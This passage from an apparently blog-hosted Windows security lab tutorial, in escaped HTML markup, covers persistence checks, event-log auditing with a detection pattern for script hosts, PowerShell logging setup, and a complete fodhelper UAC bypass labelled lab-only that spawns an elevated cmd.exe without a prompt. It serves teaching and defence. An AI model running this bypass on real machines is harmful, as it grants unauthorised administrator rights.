&lt;/span&gt;&lt;span class="nv"&gt;$runPaths&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;foreach&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$runPaths&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Write-Host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;`n&lt;/span&gt;&lt;span class="s2"&gt;=== &lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt; ==="&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ForegroundColor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Yellow&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Get-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# 2. For each entry, verify:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;#    - Is the binary in an expected location?&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;#    - Is it digitally signed?&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;#    - Who is the publisher?&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-AuthenticodeSignature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\path\to\executable.exe"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SignerCertificate&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# 3. Check services for suspicious configurations&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WmiObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;StartMode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Auto'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;State&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Running'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PathName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StartName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;PathName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-notmatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'System32|SysWOW64'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Format-Table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Wrap&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 2: Event Log Security Audit (1 hour)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Build a mini-investigation from Event Logs&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# 1. Find all logon events from the last 7 days&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$logons&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4624&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StartTime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Date&lt;/span&gt;&lt;span class="err"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;AddDays&lt;/span&gt;&lt;span class="err"&gt;(-&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Write-Host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Total logon events (7 days): &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nv"&gt;$logons&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Count&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# 2. Analyse logon types&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$logons&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$xml&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;xml&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ToXml&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$xml&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Event&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;EventData&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'LogonType'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; 
        &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ExpandProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'#text'&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Group-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Sort-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Descending&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; 
    &lt;/span&gt;&lt;span class="n"&gt;Format-Table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Property&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;N&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'LogonType'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;E&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;}},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Count&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# 3. Find any suspicious process creation (4688 - requires audit policy)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4688&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StartTime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Date&lt;/span&gt;&lt;span class="err"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;AddDays&lt;/span&gt;&lt;span class="err"&gt;(-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; 
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TimeCreated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; 
    &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'powershell|cmd|wscript|cscript|mshta'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Format-List&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# 4. Check if log was cleared (should return nothing on a clean system)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1102&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TimeCreated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Message&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 3: UAC Bypass (Lab Environment Only)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Set up a VM with a local admin account (not domain joined) before this exercise.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Verify current integrity level before bypass&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Diagnostics.Process&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;GetCurrentProcess&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Handle&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;whoami&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/groups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;findstr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Mandatory"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Should show: Medium Mandatory Level&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# fodhelper UAC bypass&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;New-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKCU:\Software\Classes\ms-settings\shell\open\command"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;New-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKCU:\Software\Classes\ms-settings\shell\open\command"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"(Default)"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cmd.exe"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;New-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKCU:\Software\Classes\ms-settings\shell\open\command"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"DelegateExecute"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Start-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Windows\System32\fodhelper.exe"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# In the new cmd window that opens:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;whoami&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/groups&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;findstr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Mandatory"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Should now show: High Mandatory Level — elevated without UAC prompt&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Cleanup — always clean up after testing&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Remove-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKCU:\Software\Classes\ms-settings\"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Recurse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 4: PowerShell Logging Verification
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Enable Script Block Logging&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$sbPath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;New-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$sbPath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;New-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$sbPath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"EnableScriptBlockLogging"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-PropertyType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# 2. Run a test script that would look suspicious&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Invoke-Expression&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Write-Host 'This is a test of script block logging'"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Convert&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;FromBase64String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"VGhpcyBpcyBiYXNlNjQ="&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c"&gt;# Decode base64&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# 3. Find the logged event&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-LogName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Microsoft-Windows-PowerShell/Operational"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
